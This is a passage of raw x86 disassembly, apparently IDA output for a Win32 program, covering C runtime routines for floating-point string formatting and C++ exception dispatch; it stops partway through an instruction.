short loc_421951 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; ___:off_43CF60o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427880 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB9C0, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB9BC xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43CBB8 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB9C0, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB9C0, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB9C4 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB9BC cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43CBB8 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB9C0, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB9BC, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB9C4, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB9BC add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB9C4, ecx setl cl mov byte_4DB9C8, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB9C4, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB9C0, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB9C0, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB9C0, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB9C0, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: ___:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB9CC test esi, esi jz loc_421F28 mov eax, dword_4DB9D0 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DB9D4, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; ___:00422153p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 sub_422111 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_42205D mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: ___:0042217Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: ___:00422174p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB9CC mov [ebp+var_1C], ecx mov ecx, dword_4DB9D0 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB9CC, edi mov ecx, [ebp+arg_8] mov dword_4DB9D0, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: ___:004278E8o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: ___:004278ECo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: ___:004278E0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB9CC, eax mov eax, [ebp-20h] mov dword_4DB9D0, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE XREF: sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- loc_42235F: ; CODE XREF: sub_4222C2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424770 pop 